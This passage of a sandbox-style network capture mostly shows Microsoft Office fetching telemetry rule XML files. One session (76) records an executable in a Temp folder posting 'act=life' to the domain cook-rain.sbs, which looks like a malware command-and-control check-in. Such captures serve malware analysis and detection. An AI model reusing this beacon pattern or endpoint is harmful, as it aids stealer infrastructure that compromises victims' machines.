</S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:33 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:33 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 3d26e0c5-e01e-0020-6638-3cde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031233Z-178bfbc474bfw4gbhC1NYCunf400000002g00000000002rw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:34 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:33 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:34 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 302889d7-401e-0047-2e63-3b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031234Z-178bfbc474bfw4gbhC1NYCunf400000002eg000000004kuv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:34 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:33 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:34 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:34 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 00c17fdd-701e-000d-2f70-3c6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031234Z-174c587ffdf4zw2thC1TEBu3400000000110000000000mz6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:34 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:33 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:34 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 4d626343-d01e-0028-4b44-3c7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031234Z-178bfbc474bwh9gmhC1NYCy3rs00000002e000000000dfcp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:34 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49818	172.67.155.248	443	8156	C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:34 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-22 03:12:34 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-22 03:12:34 UTC	1006	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=soekf6boqn9ajkj9joi0os0u01; expires=Mon, 17-Mar-2025 20:59:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XD9VweIiiB8l9AzphVKAwWUk4ha4H19SqpQwHXtcH5Q0aRDlVzf8lGrIpby6Hk1WGP%2BLgGIZ%2BwiGrmqhFRK5iAUfhot%2FwGEGpaLcQvA%2BKVJF6CsaOvMXnMYXd2C8CDgb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e65bd15a8124244-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1656&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2830&recv_bytes=904&delivery_rate=1718658&cwnd=214&unsent_bytes=0&cid=c4e6cbc92a24febe&ts=1047&x=0"
2024-11-22 03:12:34 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-22 03:12:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:35 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:36 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:36 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 6f884587-b01e-0001-3155-3c46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031236Z-15b8b599d88cn5thhC1TEBqxkn00000000v0000000001789 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:36 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:35 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:36 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:36 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 1e58b78d-401e-0029-678d-3b9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031236Z-174c587ffdfgcs66hC1TEB69cs00000000t0000000003pd4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:36 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:36 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:36 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:36 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: a3dd353e-a01e-0032-2c4e-3c1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031236Z-178bfbc474bpnd5vhC1NYC4vr4000000029000000000n70q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:36 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:36 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:36 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:36 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8176cca2-201e-0003-2c64-3bf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031236Z-178bfbc474bgvl54hC1NYCsfuw000000029000000000n2g8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:36 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:36 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:36 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:36 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: e365756d-701e-0032-724d-3ca540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031236Z-15b8b599d88tmlzshC1TEB4xpn00000000sg0000000083ep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:36 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:37 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:38 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:38 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031238Z-174c587ffdftv9hphC1TEBm29w00000000r000000000hmux x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:38 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:37 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:38 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:38 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: abaf503b-901e-0064-2b47-3ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031238Z-15b8b599d88m7pn7hC1TEB4axw00000000u000000000fcy0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:38 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:39 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
